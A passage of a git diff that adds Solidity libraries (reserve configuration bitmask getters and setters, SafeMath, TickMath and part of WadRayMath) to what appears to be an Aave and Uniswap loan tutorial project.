+    require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.INVALID_LIQ_THRESHOLD);
+
+    self.data =
+      (self.data & LIQUIDATION_THRESHOLD_MASK) |
+      (threshold << LIQUIDATION_THRESHOLD_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the liquidation threshold of the reserve
+   * @param self The reserve configuration
+   * @return The liquidation threshold
+   */
+  function getLiquidationThreshold(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the liquidation bonus of the reserve
+   * @param self The reserve configuration
+   * @param bonus The new liquidation bonus
+   */
+  function setLiquidationBonus(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 bonus
+  ) internal pure {
+    require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.INVALID_LIQ_BONUS);
+
+    self.data =
+      (self.data & LIQUIDATION_BONUS_MASK) |
+      (bonus << LIQUIDATION_BONUS_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the liquidation bonus of the reserve
+   * @param self The reserve configuration
+   * @return The liquidation bonus
+   */
+  function getLiquidationBonus(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the decimals of the underlying asset of the reserve
+   * @param self The reserve configuration
+   * @param decimals The decimals
+   */
+  function setDecimals(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 decimals
+  ) internal pure {
+    require(decimals <= MAX_VALID_DECIMALS, Errors.INVALID_DECIMALS);
+
+    self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the decimals of the underlying asset of the reserve
+   * @param self The reserve configuration
+   * @return The decimals of the asset
+   */
+  function getDecimals(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the active state of the reserve
+   * @param self The reserve configuration
+   * @param active The active state
+   */
+  function setActive(DataTypes.ReserveConfigurationMap memory self, bool active) internal pure {
+    self.data =
+      (self.data & ACTIVE_MASK) |
+      (uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the active state of the reserve
+   * @param self The reserve configuration
+   * @return The active state
+   */
+  function getActive(DataTypes.ReserveConfigurationMap memory self) internal pure returns (bool) {
+    return (self.data & ~ACTIVE_MASK) != 0;
+  }
+
+  /**
+   * @notice Sets the frozen state of the reserve
+   * @param self The reserve configuration
+   * @param frozen The frozen state
+   */
+  function setFrozen(DataTypes.ReserveConfigurationMap memory self, bool frozen) internal pure {
+    self.data =
+      (self.data & FROZEN_MASK) |
+      (uint256(frozen ? 1 : 0) << IS_FROZEN_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the frozen state of the reserve
+   * @param self The reserve configuration
+   * @return The frozen state
+   */
+  function getFrozen(DataTypes.ReserveConfigurationMap memory self) internal pure returns (bool) {
+    return (self.data & ~FROZEN_MASK) != 0;
+  }
+
+  /**
+   * @notice Sets the paused state of the reserve
+   * @param self The reserve configuration
+   * @param paused The paused state
+   */
+  function setPaused(DataTypes.ReserveConfigurationMap memory self, bool paused) internal pure {
+    self.data =
+      (self.data & PAUSED_MASK) |
+      (uint256(paused ? 1 : 0) << IS_PAUSED_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the paused state of the reserve
+   * @param self The reserve configuration
+   * @return The paused state
+   */
+  function getPaused(DataTypes.ReserveConfigurationMap memory self) internal pure returns (bool) {
+    return (self.data & ~PAUSED_MASK) != 0;
+  }
+
+  /**
+   * @notice Sets the borrowable in isolation flag for the reserve.
+   * @dev When this flag is set to true, the asset will be borrowable against isolated collaterals and the borrowed
+   * amount will be accumulated in the isolated collateral's total debt exposure.
+   * @dev Only assets of the same family (eg USD stablecoins) should be borrowable in isolation mode to keep
+   * consistency in the debt ceiling calculations.
+   * @param self The reserve configuration
+   * @param borrowable True if the asset is borrowable
+   */
+  function setBorrowableInIsolation(
+    DataTypes.ReserveConfigurationMap memory self,
+    bool borrowable
+  ) internal pure {
+    self.data =
+      (self.data & BORROWABLE_IN_ISOLATION_MASK) |
+      (uint256(borrowable ? 1 : 0) << BORROWABLE_IN_ISOLATION_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the borrowable in isolation flag for the reserve.
+   * @dev If the returned flag is true, the asset is borrowable against isolated collateral. Assets borrowed with
+   * isolated collateral is accounted for in the isolated collateral's total debt exposure.
+   * @dev Only assets of the same family (eg USD stablecoins) should be borrowable in isolation mode to keep
+   * consistency in the debt ceiling calculations.
+   * @param self The reserve configuration
+   * @return The borrowable in isolation flag
+   */
+  function getBorrowableInIsolation(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (bool) {
+    return (self.data & ~BORROWABLE_IN_ISOLATION_MASK) != 0;
+  }
+
+  /**
+   * @notice Sets the siloed borrowing flag for the reserve.
+   * @dev When this flag is set to true, users borrowing this asset will not be allowed to borrow any other asset.
+   * @param self The reserve configuration
+   * @param siloed True if the asset is siloed
+   */
+  function setSiloedBorrowing(
+    DataTypes.ReserveConfigurationMap memory self,
+    bool siloed
+  ) internal pure {
+    self.data =
+      (self.data & SILOED_BORROWING_MASK) |
+      (uint256(siloed ? 1 : 0) << SILOED_BORROWING_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the siloed borrowing flag for the reserve.
+   * @dev When this flag is set to true, users borrowing this asset will not be allowed to borrow any other asset.
+   * @param self The reserve configuration
+   * @return The siloed borrowing flag
+   */
+  function getSiloedBorrowing(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (bool) {
+    return (self.data & ~SILOED_BORROWING_MASK) != 0;
+  }
+
+  /**
+   * @notice Enables or disables borrowing on the reserve
+   * @param self The reserve configuration
+   * @param enabled True if the borrowing needs to be enabled, false otherwise
+   */
+  function setBorrowingEnabled(
+    DataTypes.ReserveConfigurationMap memory self,
+    bool enabled
+  ) internal pure {
+    self.data =
+      (self.data & BORROWING_MASK) |
+      (uint256(enabled ? 1 : 0) << BORROWING_ENABLED_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the borrowing state of the reserve
+   * @param self The reserve configuration
+   * @return The borrowing state
+   */
+  function getBorrowingEnabled(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (bool) {
+    return (self.data & ~BORROWING_MASK) != 0;
+  }
+
+  /**
+   * @notice Enables or disables stable rate borrowing on the reserve
+   * @param self The reserve configuration
+   * @param enabled True if the stable rate borrowing needs to be enabled, false otherwise
+   */
+  function setStableRateBorrowingEnabled(
+    DataTypes.ReserveConfigurationMap memory self,
+    bool enabled
+  ) internal pure {
+    self.data =
+      (self.data & STABLE_BORROWING_MASK) |
+      (uint256(enabled ? 1 : 0) << STABLE_BORROWING_ENABLED_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the stable rate borrowing state of the reserve
+   * @param self The reserve configuration
+   * @return The stable rate borrowing state
+   */
+  function getStableRateBorrowingEnabled(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (bool) {
+    return (self.data & ~STABLE_BORROWING_MASK) != 0;
+  }
+
+  /**
+   * @notice Sets the reserve factor of the reserve
+   * @param self The reserve configuration
+   * @param reserveFactor The reserve factor
+   */
+  function setReserveFactor(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 reserveFactor
+  ) internal pure {
+    require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.INVALID_RESERVE_FACTOR);
+
+    self.data =
+      (self.data & RESERVE_FACTOR_MASK) |
+      (reserveFactor << RESERVE_FACTOR_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the reserve factor of the reserve
+   * @param self The reserve configuration
+   * @return The reserve factor
+   */
+  function getReserveFactor(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the borrow cap of the reserve
+   * @param self The reserve configuration
+   * @param borrowCap The borrow cap
+   */
+  function setBorrowCap(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 borrowCap
+  ) internal pure {
+    require(borrowCap <= MAX_VALID_BORROW_CAP, Errors.INVALID_BORROW_CAP);
+
+    self.data = (self.data & BORROW_CAP_MASK) | (borrowCap << BORROW_CAP_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the borrow cap of the reserve
+   * @param self The reserve configuration
+   * @return The borrow cap
+   */
+  function getBorrowCap(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~BORROW_CAP_MASK) >> BORROW_CAP_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the supply cap of the reserve
+   * @param self The reserve configuration
+   * @param supplyCap The supply cap
+   */
+  function setSupplyCap(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 supplyCap
+  ) internal pure {
+    require(supplyCap <= MAX_VALID_SUPPLY_CAP, Errors.INVALID_SUPPLY_CAP);
+
+    self.data = (self.data & SUPPLY_CAP_MASK) | (supplyCap << SUPPLY_CAP_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the supply cap of the reserve
+   * @param self The reserve configuration
+   * @return The supply cap
+   */
+  function getSupplyCap(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~SUPPLY_CAP_MASK) >> SUPPLY_CAP_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the debt ceiling in isolation mode for the asset
+   * @param self The reserve configuration
+   * @param ceiling The maximum debt ceiling for the asset
+   */
+  function setDebtCeiling(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 ceiling
+  ) internal pure {
+    require(ceiling <= MAX_VALID_DEBT_CEILING, Errors.INVALID_DEBT_CEILING);
+
+    self.data = (self.data & DEBT_CEILING_MASK) | (ceiling << DEBT_CEILING_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the debt ceiling for the asset if the asset is in isolation mode
+   * @param self The reserve configuration
+   * @return The debt ceiling (0 = isolation mode disabled)
+   */
+  function getDebtCeiling(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~DEBT_CEILING_MASK) >> DEBT_CEILING_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the liquidation protocol fee of the reserve
+   * @param self The reserve configuration
+   * @param liquidationProtocolFee The liquidation protocol fee
+   */
+  function setLiquidationProtocolFee(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 liquidationProtocolFee
+  ) internal pure {
+    require(
+      liquidationProtocolFee <= MAX_VALID_LIQUIDATION_PROTOCOL_FEE,
+      Errors.INVALID_LIQUIDATION_PROTOCOL_FEE
+    );
+
+    self.data =
+      (self.data & LIQUIDATION_PROTOCOL_FEE_MASK) |
+      (liquidationProtocolFee << LIQUIDATION_PROTOCOL_FEE_START_BIT_POSITION);
+  }
+
+  /**
+   * @dev Gets the liquidation protocol fee
+   * @param self The reserve configuration
+   * @return The liquidation protocol fee
+   */
+  function getLiquidationProtocolFee(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return
+      (self.data & ~LIQUIDATION_PROTOCOL_FEE_MASK) >> LIQUIDATION_PROTOCOL_FEE_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the unbacked mint cap of the reserve
+   * @param self The reserve configuration
+   * @param unbackedMintCap The unbacked mint cap
+   */
+  function setUnbackedMintCap(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 unbackedMintCap
+  ) internal pure {
+    require(unbackedMintCap <= MAX_VALID_UNBACKED_MINT_CAP, Errors.INVALID_UNBACKED_MINT_CAP);
+
+    self.data =
+      (self.data & UNBACKED_MINT_CAP_MASK) |
+      (unbackedMintCap << UNBACKED_MINT_CAP_START_BIT_POSITION);
+  }
+
+  /**
+   * @dev Gets the unbacked mint cap of the reserve
+   * @param self The reserve configuration
+   * @return The unbacked mint cap
+   */
+  function getUnbackedMintCap(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~UNBACKED_MINT_CAP_MASK) >> UNBACKED_MINT_CAP_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the eMode asset category
+   * @param self The reserve configuration
+   * @param category The asset category when the user selects the eMode
+   */
+  function setEModeCategory(
+    DataTypes.ReserveConfigurationMap memory self,
+    uint256 category
+  ) internal pure {
+    require(category <= MAX_VALID_EMODE_CATEGORY, Errors.INVALID_EMODE_CATEGORY);
+
+    self.data = (self.data & EMODE_CATEGORY_MASK) | (category << EMODE_CATEGORY_START_BIT_POSITION);
+  }
+
+  /**
+   * @dev Gets the eMode asset category
+   * @param self The reserve configuration
+   * @return The eMode category for the asset
+   */
+  function getEModeCategory(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256) {
+    return (self.data & ~EMODE_CATEGORY_MASK) >> EMODE_CATEGORY_START_BIT_POSITION;
+  }
+
+  /**
+   * @notice Sets the flashloanable flag for the reserve
+   * @param self The reserve configuration
+   * @param flashLoanEnabled True if the asset is flashloanable, false otherwise
+   */
+  function setFlashLoanEnabled(
+    DataTypes.ReserveConfigurationMap memory self,
+    bool flashLoanEnabled
+  ) internal pure {
+    self.data =
+      (self.data & FLASHLOAN_ENABLED_MASK) |
+      (uint256(flashLoanEnabled ? 1 : 0) << FLASHLOAN_ENABLED_START_BIT_POSITION);
+  }
+
+  /**
+   * @notice Gets the flashloanable flag for the reserve
+   * @param self The reserve configuration
+   * @return The flashloanable flag
+   */
+  function getFlashLoanEnabled(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (bool) {
+    return (self.data & ~FLASHLOAN_ENABLED_MASK) != 0;
+  }
+
+  /**
+   * @notice Gets the configuration flags of the reserve
+   * @param self The reserve configuration
+   * @return The state flag representing active
+   * @return The state flag representing frozen
+   * @return The state flag representing borrowing enabled
+   * @return The state flag representing stableRateBorrowing enabled
+   * @return The state flag representing paused
+   */
+  function getFlags(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (bool, bool, bool, bool, bool) {
+    uint256 dataLocal = self.data;
+
+    return (
+      (dataLocal & ~ACTIVE_MASK) != 0,
+      (dataLocal & ~FROZEN_MASK) != 0,
+      (dataLocal & ~BORROWING_MASK) != 0,
+      (dataLocal & ~STABLE_BORROWING_MASK) != 0,
+      (dataLocal & ~PAUSED_MASK) != 0
+    );
+  }
+
+  /**
+   * @notice Gets the configuration parameters of the reserve from storage
+   * @param self The reserve configuration
+   * @return The state param representing ltv
+   * @return The state param representing liquidation threshold
+   * @return The state param representing liquidation bonus
+   * @return The state param representing reserve decimals
+   * @return The state param representing reserve factor
+   * @return The state param representing eMode category
+   */
+  function getParams(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256, uint256, uint256, uint256, uint256, uint256) {
+    uint256 dataLocal = self.data;
+
+    return (
+      dataLocal & ~LTV_MASK,
+      (dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION,
+      (dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION,
+      (dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION,
+      (dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION,
+      (dataLocal & ~EMODE_CATEGORY_MASK) >> EMODE_CATEGORY_START_BIT_POSITION
+    );
+  }
+
+  /**
+   * @notice Gets the caps parameters of the reserve from storage
+   * @param self The reserve configuration
+   * @return The state param representing borrow cap
+   * @return The state param representing supply cap.
+   */
+  function getCaps(
+    DataTypes.ReserveConfigurationMap memory self
+  ) internal pure returns (uint256, uint256) {
+    uint256 dataLocal = self.data;
+
+    return (
+      (dataLocal & ~BORROW_CAP_MASK) >> BORROW_CAP_START_BIT_POSITION,
+      (dataLocal & ~SUPPLY_CAP_MASK) >> SUPPLY_CAP_START_BIT_POSITION
+    );
+  }
+}
diff --git a/basic/21-aave-uni-loan/contracts/libraries/SafeMath.sol b/basic/21-aave-uni-loan/contracts/libraries/SafeMath.sol
new file mode 100644
index 000000000..c673f640d
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/libraries/SafeMath.sol
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+/// @title Optimized overflow and underflow safe math operations
+/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
+library SafeMath {
+  /// @notice Returns x + y, reverts if sum overflows uint256
+  /// @param x The augend
+  /// @param y The addend
+  /// @return z The sum of x and y
+  function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
+    unchecked {
+      require((z = x + y) >= x);
+    }
+  }
+
+  /// @notice Returns x - y, reverts if underflows
+  /// @param x The minuend
+  /// @param y The subtrahend
+  /// @return z The difference of x and y
+  function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
+    unchecked {
+      require((z = x - y) <= x);
+    }
+  }
+
+  /// @notice Returns x - y, reverts if underflows
+  /// @param x The minuend
+  /// @param y The subtrahend
+  /// @param message The error msg
+  /// @return z The difference of x and y
+  function sub(uint256 x, uint256 y, string memory message) internal pure returns (uint256 z) {
+    unchecked {
+      require((z = x - y) <= x, message);
+    }
+  }
+
+  /// @notice Returns x * y, reverts if overflows
+  /// @param x The multiplicand
+  /// @param y The multiplier
+  /// @return z The product of x and y
+  function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
+    unchecked {
+      require(x == 0 || (z = x * y) / x == y);
+    }
+  }
+
+  /// @notice Returns x / y, reverts if overflows - no specific check, solidity reverts on division by 0
+  /// @param x The numerator
+  /// @param y The denominator
+  /// @return z The product of x and y
+  function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
+    return x / y;
+  }
+}
diff --git a/basic/21-aave-uni-loan/contracts/libraries/TickMath.sol b/basic/21-aave-uni-loan/contracts/libraries/TickMath.sol
new file mode 100644
index 000000000..3c79fc378
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/libraries/TickMath.sol
@@ -0,0 +1,205 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+/// @title Math library for computing sqrt prices from ticks and vice versa
+/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
+/// prices between 2**-128 and 2**128
+library TickMath {
+    /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
+    int24 internal constant MIN_TICK = -887272;
+    /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
+    int24 internal constant MAX_TICK = -MIN_TICK;
+
+    /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
+    uint160 internal constant MIN_SQRT_RATIO = 4295128739;
+    /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
+    uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
+
+    /// @notice Calculates sqrt(1.0001^tick) * 2^96
+    /// @dev Throws if |tick| > max tick
+    /// @param tick The input tick for the above formula
+    /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
+    /// at the given tick
+    function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
+        uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
+        require(absTick <= uint256(int256(MAX_TICK)), "T");
+
+        uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
+        if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
+        if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
+        if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
+        if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
+        if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
+        if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
+        if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
+        if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
+        if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
+        if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
+        if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
+        if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
+        if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
+        if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
+        if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
+        if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
+        if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
+        if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
+        if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
+
+        if (tick > 0) ratio = type(uint256).max / ratio;
+
+        // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
+        // we then downcast because we know the result always fits within 160 bits due to our tick input constraint
+        // we round up in the division so getTickAtSqrtRatio of the output price is always consistent
+        sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
+    }
+
+    /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
+    /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
+    /// ever return.
+    /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
+    /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
+    function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
+        // second inequality must be < because the price can never reach the price at the max tick
+        require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, "R");
+        uint256 ratio = uint256(sqrtPriceX96) << 32;
+
+        uint256 r = ratio;
+        uint256 msb = 0;
+
+        assembly {
+            let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(5, gt(r, 0xFFFFFFFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(4, gt(r, 0xFFFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(3, gt(r, 0xFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(2, gt(r, 0xF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(1, gt(r, 0x3))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := gt(r, 0x1)
+            msb := or(msb, f)
+        }
+
+        if (msb >= 128) r = ratio >> (msb - 127);
+        else r = ratio << (127 - msb);
+
+        int256 log_2 = (int256(msb) - 128) << 64;
+
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(63, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(62, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(61, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(60, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(59, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(58, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(57, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(56, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(55, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(54, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(53, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(52, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(51, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(50, f))
+        }
+
+        int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
+
+        int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
+        int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
+
+        tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
+    }
+}
diff --git a/basic/21-aave-uni-loan/contracts/libraries/WadRayMath.sol b/basic/21-aave-uni-loan/contracts/libraries/WadRayMath.sol
new file mode 100644
index 000000000..f61fe87f2
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/libraries/WadRayMath.sol
@@ -0,0 +1,126 @@
+// SPDX-License-Identifier: BUSL-1.1
+pragma solidity ^0.8.0;
+
+/**
+ * @title WadRayMath library
+ * @author Aave
+ * @notice Provides functions to perform calculations with Wad and Ray units
+ * @dev Provides mul and div function for wads (decimal numbers with 18 digits of precision) and rays (decimal numbers
+ * with 27 digits of precision)
+ * @dev Operations are rounded. If a value is >=.5, will be rounded up, otherwise rounded down.
+ */
+library WadRayMath {
+  // HALF_WAD and HALF_RAY expressed with extended notation as constant with operations are not supported in Yul assembly
+  uint256 internal constant WAD = 1e18;
+  uint256 internal constant HALF_WAD = 0.5e18;
+
+  uint256 internal constant RAY = 1e27;
+  uint256 internal constant HALF_RAY = 0.5e27;
+
+  uint256 internal constant WAD_RAY_RATIO = 1e9;
+
+  /**
+   * @dev Multiplies two wad, rounding half up to the nearest wad
+   * @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
+   * @param a Wad
+   * @param b Wad
+   * @return c = a*b, in wad
+   */
+  function wadMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
+    // to avoid overflow, a <= (type(uint256).max - HALF_WAD) / b
+    assembly {
+      if iszero(or(iszero(b), iszero(gt(a, div(sub(not(0), HALF_WAD), b))))) {
+        revert(0, 0)
+      }
+
+      c := div(add(mul(a, b), HALF_WAD), WAD)
+    }
+  }
+
+  /**
+   * @dev Divides two wad, rounding half up to the nearest wad
+   * @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
+   * @param a Wad
+   * @param b Wad
+   * @return c = a/b, in wad
+   */
+  function wadDiv(uint256 a, uint256 b) internal pure returns (uint256 c) {
+    // to avoid overflow, a <= (type(uint256).max - halfB) / WAD
+    assembly {
+      if or(iszero(b), iszero(iszero(gt(a, div(sub(not(0), div(b, 2)), WAD))))) {
+        revert(0, 0)
+      }
+
+      c := div(add(mul(a, WAD), div(b, 2)), b)
+    }
+  }
+
+  /**
+   * @notice Multiplies two ray, rounding half up to the nearest ray
+   * @dev assembly optimized for improved gas savings, see https://twitter.com/transmissions11/status/1451131036377571328
+   * @param a Ray
+   * @param b Ray
+   * @return c = a raymul b
+   */
+  function rayMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
